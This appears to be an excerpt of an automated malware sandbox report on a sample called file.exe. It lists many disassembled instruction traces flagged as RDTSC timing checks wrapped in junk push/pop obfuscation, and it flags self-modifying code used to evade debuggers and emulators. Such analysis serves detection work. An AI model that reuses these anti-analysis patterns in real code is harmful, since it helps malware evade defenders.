Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50265 second address: 4E5026A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E5026A second address: 4E50270 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50270 second address: 4E50280 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 inc ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b mov edi, eax 0x0000000d mov cl, C2h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50280 second address: 4E502A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3BB8CF9510h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test al, al 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F3BB8CF950Ah 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E502A4 second address: 4E502AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E5033E second address: 4E50344 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E5041E second address: 4E50461 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F3BB941C8E7h 0x00000008 pop ecx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c cmp dword ptr [ebp-14h], edi 0x0000000f pushad 0x00000010 mov eax, 590AC1C7h 0x00000015 jmp 00007F3BB941C8DCh 0x0000001a popad 0x0000001b jne 00007F3C2AF2A91Fh 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 movsx edi, cx 0x00000027 push ecx 0x00000028 pop ebx 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50461 second address: 4E50467 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50467 second address: 4E5046B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E5046B second address: 4E5047F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebx, dword ptr [ebp+08h] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov ebx, esi 0x00000010 mov bx, si 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E5047F second address: 4E504BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, ax 0x00000006 mov eax, 0F93A3A1h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e lea eax, dword ptr [ebp-2Ch] 0x00000011 jmp 00007F3BB941C8DCh 0x00000016 xchg eax, esi 0x00000017 pushad 0x00000018 mov cx, B34Dh 0x0000001c mov edi, eax 0x0000001e popad 0x0000001f push eax 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F3BB941C8E2h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E504BA second address: 4E504CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3BB8CF950Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E504CC second address: 4E504DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push esi 0x0000000d pop ebx 0x0000000e movzx esi, bx 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E504DE second address: 4E504EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3BB8CF950Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E504EF second address: 4E504FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E504FE second address: 4E50504 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50504 second address: 4E50525 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e call 00007F3BB941C8E0h 0x00000013 pop ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50525 second address: 4E5052A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E5052A second address: 4E50530 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50530 second address: 4E50534 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50534 second address: 4E50538 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E5057B second address: 4E5057F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E5057F second address: 4E50583 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50583 second address: 4E50589 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50589 second address: 4E5059F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3BB941C8DAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E5059F second address: 4E505BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3BB8CF9519h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E505BC second address: 4E40770 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3BB941C8E7h 0x00000008 mov cx, FC6Fh 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f test esi, esi 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F3BB941C8E0h 0x00000018 or cx, 8898h 0x0000001d jmp 00007F3BB941C8DBh 0x00000022 popfd 0x00000023 popad 0x00000024 je 00007F3C2AF2A928h 0x0000002a xor eax, eax 0x0000002c jmp 00007F3BB93F600Ah 0x00000031 pop esi 0x00000032 pop edi 0x00000033 pop ebx 0x00000034 leave 0x00000035 retn 0004h 0x00000038 nop 0x00000039 cmp eax, 00000000h 0x0000003c setne cl 0x0000003f xor ebx, ebx 0x00000041 test cl, 00000001h 0x00000044 jne 00007F3BB941C8D7h 0x00000046 jmp 00007F3BB941C9FAh 0x0000004b call 00007F3BBDD591B9h 0x00000050 mov edi, edi 0x00000052 push eax 0x00000053 push edx 0x00000054 jmp 00007F3BB941C8E7h 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E40770 second address: 4E4077A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 72A4045Ah 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E4077A second address: 4E4079F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ecx 0x00000008 pushad 0x00000009 push esi 0x0000000a movsx edi, cx 0x0000000d pop esi 0x0000000e jmp 00007F3BB941C8DBh 0x00000013 popad 0x00000014 mov dword ptr [esp], ebp 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a mov dx, 9586h 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E4079F second address: 4E40801 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, cx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c jmp 00007F3BB8CF950Dh 0x00000011 pushfd 0x00000012 jmp 00007F3BB8CF9510h 0x00000017 sbb al, 00000058h 0x0000001a jmp 00007F3BB8CF950Bh 0x0000001f popfd 0x00000020 popad 0x00000021 xchg eax, ecx 0x00000022 jmp 00007F3BB8CF9516h 0x00000027 push eax 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F3BB8CF950Eh 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E40801 second address: 4E40813 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3BB941C8DEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E40813 second address: 4E4082A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3BB8CF950Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E4082A second address: 4E40831 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E408BC second address: 4E408C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E408C2 second address: 4E50B16 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 ret 0x00000009 nop 0x0000000a jmp 00007F3BB941C8D2h 0x0000000c and bl, 00000001h 0x0000000f movzx eax, bl 0x00000012 lea esp, dword ptr [ebp-0Ch] 0x00000015 pop esi 0x00000016 pop edi 0x00000017 pop ebx 0x00000018 pop ebp 0x00000019 ret 0x0000001a add esp, 04h 0x0000001d mov eax, dword ptr [005160A4h+ebx*4] 0x00000024 mov ecx, 04B3412Ah 0x00000029 xor ecx, dword ptr [005160ACh] 0x0000002f add eax, ecx 0x00000031 inc eax 0x00000032 jmp eax 0x00000034 push esi 0x00000035 call 00007F3BB9442AA8h 0x0000003a push ebp 0x0000003b push ebx 0x0000003c push edi 0x0000003d push esi 0x0000003e sub esp, 00000284h 0x00000044 mov esi, dword ptr [esp+00000298h] 0x0000004b mov dword ptr [esp+00000268h], 00518100h 0x00000056 mov dword ptr [esp+00000264h], 0000009Dh 0x00000061 mov dword ptr [esp], 00000000h 0x00000068 mov eax, dword ptr [00513D58h] 0x0000006d call eax 0x0000006f mov edi, edi 0x00000071 push eax 0x00000072 push edx 0x00000073 jmp 00007F3BB941C8E5h 0x00000078 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50B16 second address: 4E50B26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3BB8CF950Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50B26 second address: 4E50B57 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 jmp 00007F3BB941C8DCh 0x0000000e mov dword ptr [esp], ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F3BB941C8E7h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50B57 second address: 4E50C27 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F3BB8CF950Fh 0x00000009 and ch, 0000007Eh 0x0000000c jmp 00007F3BB8CF9519h 0x00000011 popfd 0x00000012 call 00007F3BB8CF9510h 0x00000017 pop ecx 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b mov ebp, esp 0x0000001d pushad 0x0000001e push ebx 0x0000001f pushfd 0x00000020 jmp 00007F3BB8CF950Ah 0x00000025 add ch, FFFFFFA8h 0x00000028 jmp 00007F3BB8CF950Bh 0x0000002d popfd 0x0000002e pop esi 0x0000002f pushfd 0x00000030 jmp 00007F3BB8CF9519h 0x00000035 sbb ecx, 4E4A2BC6h 0x0000003b jmp 00007F3BB8CF9511h 0x00000040 popfd 0x00000041 popad 0x00000042 cmp dword ptr [769B459Ch], 05h 0x00000049 jmp 00007F3BB8CF950Eh 0x0000004e je 00007F3C2A7F7303h 0x00000054 push eax 0x00000055 push edx 0x00000056 pushad 0x00000057 mov ecx, edx 0x00000059 jmp 00007F3BB8CF9519h 0x0000005e popad 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50C27 second address: 4E50C2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50C2D second address: 4E50C31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50CB8 second address: 4E50CBC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50CBC second address: 4E50CC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50CC2 second address: 4E50CC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50CC8 second address: 4E50CCC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50CCC second address: 4E50D36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 33E54C91h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F3BB941C8E7h 0x00000018 add cl, FFFFFF8Eh 0x0000001b jmp 00007F3BB941C8E9h 0x00000020 popfd 0x00000021 pushfd 0x00000022 jmp 00007F3BB941C8E0h 0x00000027 xor si, 4508h 0x0000002c jmp 00007F3BB941C8DBh 0x00000031 popfd 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50D36 second address: 4E50D3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50D3C second address: 4E50D81 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3BB941C8DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b call 00007F3C2AF216FBh 0x00000010 push 76952B70h 0x00000015 push dword ptr fs:[00000000h] 0x0000001c mov eax, dword ptr [esp+10h] 0x00000020 mov dword ptr [esp+10h], ebp 0x00000024 lea ebp, dword ptr [esp+10h] 0x00000028 sub esp, eax 0x0000002a push ebx 0x0000002b push esi 0x0000002c push edi 0x0000002d mov eax, dword ptr [769B4538h] 0x00000032 xor dword ptr [ebp-04h], eax 0x00000035 xor eax, ebp 0x00000037 push eax 0x00000038 mov dword ptr [ebp-18h], esp 0x0000003b push dword ptr [ebp-08h] 0x0000003e mov eax, dword ptr [ebp-04h] 0x00000041 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000048 mov dword ptr [ebp-08h], eax 0x0000004b lea eax, dword ptr [ebp-10h] 0x0000004e mov dword ptr fs:[00000000h], eax 0x00000054 ret 0x00000055 jmp 00007F3BB941C8E6h 0x0000005a sub esi, esi 0x0000005c push eax 0x0000005d push edx 0x0000005e push eax 0x0000005f push edx 0x00000060 jmp 00007F3BB941C8E3h 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50D81 second address: 4E50D87 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50D87 second address: 4E50D96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3BB941C8DBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50D96 second address: 4E50D9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50D9A second address: 4E50DAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [ebp-1Ch], esi 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e mov ebx, 5251F2D4h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50E24 second address: 4E50EA0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3BB8CF9511h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F3C2A7ED052h 0x0000000f jmp 00007F3BB8CF950Eh 0x00000014 cmp dword ptr [ebp+08h], 00002000h 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F3BB8CF950Dh 0x00000024 and esi, 2D4FE716h 0x0000002a jmp 00007F3BB8CF9511h 0x0000002f popfd 0x00000030 pushfd 0x00000031 jmp 00007F3BB8CF9510h 0x00000036 sbb cx, 1338h 0x0000003b jmp 00007F3BB8CF950Bh 0x00000040 popfd 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6095D second address: 4E60963 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60963 second address: 4E60967 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60967 second address: 4E6097C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F3BB941C8DAh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6097C second address: 4E609C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, C574h 0x00000007 call 00007F3BB8CF950Dh 0x0000000c pop eax 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov ebp, esp 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 jmp 00007F3BB8CF9518h 0x0000001a jmp 00007F3BB8CF9512h 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E609C4 second address: 4E60A1F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3BB941C8DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007F3BB941C8E6h 0x0000000f push eax 0x00000010 pushad 0x00000011 jmp 00007F3BB941C8E1h 0x00000016 popad 0x00000017 xchg eax, esi 0x00000018 pushad 0x00000019 mov si, di 0x0000001c mov bl, DCh 0x0000001e popad 0x0000001f mov esi, dword ptr [ebp+0Ch] 0x00000022 jmp 00007F3BB941C8DEh 0x00000027 test esi, esi 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60A1F second address: 4E60A25 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60A25 second address: 4E60A5C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3BB941C8E4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F3C2AF0A250h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F3BB941C8E7h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60A5C second address: 4E60AAD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop ecx 0x00000005 pushfd 0x00000006 jmp 00007F3BB8CF950Bh 0x0000000b jmp 00007F3BB8CF9513h 0x00000010 popfd 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 cmp dword ptr [769B459Ch], 05h 0x0000001b pushad 0x0000001c push eax 0x0000001d mov cl, dl 0x0000001f pop esi 0x00000020 mov esi, edx 0x00000022 popad 0x00000023 je 00007F3C2A7FEF0Ah 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c mov di, cx 0x0000002f call 00007F3BB8CF950Ch 0x00000034 pop eax 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60AAD second address: 4E60AC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3BB941C8E7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60AC8 second address: 4E60AE4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F3BB8CF9511h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60AE4 second address: 4E60AF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3BB941C8DCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60AF4 second address: 4E60B03 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], esi 0x0000000b pushad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60B56 second address: 4E60B5C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60BDA second address: 4E60BEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3BB8CF950Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60BEC second address: 4E60C15 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3BB941C8DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F3BB941C8E5h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622E30A second address: 622E324 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3BB8CF9516h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622E324 second address: 622E32A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622E32A second address: 622DB02 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 jnp 00007F3BB8CF9524h 0x0000000f pushad 0x00000010 mov edx, dword ptr [ebp+122D2BACh] 0x00000016 jng 00007F3BB8CF950Ch 0x0000001c popad 0x0000001d push dword ptr [ebp+122D0CA1h] 0x00000023 jnp 00007F3BB8CF9517h 0x00000029 call dword ptr [ebp+122D28D5h] 0x0000002f pushad 0x00000030 mov dword ptr [ebp+122D220Ch], ecx 0x00000036 xor eax, eax 0x00000038 jnp 00007F3BB8CF951Eh 0x0000003e jmp 00007F3BB8CF9518h 0x00000043 mov edx, dword ptr [esp+28h] 0x00000047 pushad 0x00000048 jbe 00007F3BB8CF951Fh 0x0000004e mov ax, 1691h 0x00000052 popad 0x00000053 mov dword ptr [ebp+122D2D84h], eax 0x00000059 jmp 00007F3BB8CF950Eh 0x0000005e mov esi, 0000003Ch 0x00000063 jmp 00007F3BB8CF9518h 0x00000068 stc 0x00000069 add esi, dword ptr [esp+24h] 0x0000006d add dword ptr [ebp+122D220Ch], eax 0x00000073 lodsw 0x00000075 add dword ptr [ebp+122D2129h], eax 0x0000007b add eax, dword ptr [esp+24h] 0x0000007f stc 0x00000080 mov ebx, dword ptr [esp+24h] 0x00000084 pushad 0x00000085 adc esi, 171E8291h 0x0000008b popad 0x0000008c nop 0x0000008d pushad 0x0000008e push eax 0x0000008f push edx 0x00000090 pushad 0x00000091 popad 0x00000092 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 52B976 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 52B8E0 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6D8212 instructions caused by: Self-modifying code
